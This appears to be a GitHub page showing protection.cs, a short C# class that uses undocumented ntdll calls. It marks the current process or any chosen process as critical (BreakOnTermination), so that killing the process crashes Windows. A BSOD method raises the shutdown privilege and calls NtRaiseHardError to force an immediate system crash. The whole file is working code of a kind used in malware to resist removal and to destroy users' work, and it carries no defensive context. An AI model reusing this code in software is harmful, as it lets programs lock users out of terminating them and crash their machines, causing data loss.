-
Notifications
You must be signed in to change notification settings - Fork 0
/
protection.cs
83 lines (72 loc) · 2.51 KB
/
protection.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
class ProcessProtection
{
[DllImport("ntdll.dll", SetLastError=true)]
private static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, ref int processInformation, int processInformationLength);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern IntPtr RtlAdjustPrivilege(int Privilege, bool bEnablePrivilege, bool IsThreadPrivilege, out bool PreviousValue);
[DllImport("ntdll.dll")]
private static extern uint NtRaiseHardError(
uint ErrorStatus,
uint NumberOfParameters,
uint UnicodeStringParameterMask,
IntPtr Parameters,
uint ValidResponseOption,
out uint Response
);
private static bool IsDebugMode = false;
public static void ProtectProcess()
{
int isCritical = 1;
int BreakOnTermination = 0x1D;
if (!IsDebugMode)
{
Process.EnterDebugMode();
IsDebugMode = true;
}
NtSetInformationProcess(Process.GetCurrentProcess().Handle, BreakOnTermination, ref isCritical, sizeof(int));
}
public static void ProtectProcess(Process target)
{
int isCritical = 1;
int BreakOnTermination = 0x1D;
if (!IsDebugMode)
{
Process.EnterDebugMode();
IsDebugMode = true;
}
NtSetInformationProcess(target.Handle, BreakOnTermination, ref isCritical, sizeof(int));
}
public static void UnprotectProcess()
{
int isCritical = 0;
int BreakOnTermination = 0x1D;
if (!IsDebugMode)
{
Process.EnterDebugMode();
IsDebugMode = true;
}
NtSetInformationProcess(Process.GetCurrentProcess().Handle, BreakOnTermination, ref isCritical, sizeof(int));
}
public static void UnprotectProcess(Process target)
{
int isCritical = 0;
int BreakOnTermination = 0x1D;
if (!IsDebugMode)
{
Process.EnterDebugMode();
IsDebugMode = true;
}
NtSetInformationProcess(target.Handle, BreakOnTermination, ref isCritical, sizeof(int));
}
public static void BSOD()
{
bool b;
uint response;
uint STATUS_ASSERTION_FAILURE = 0xC0000420;
RtlAdjustPrivilege(19, true, false, out b);
NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, IntPtr.Zero, 6, out response);
}
}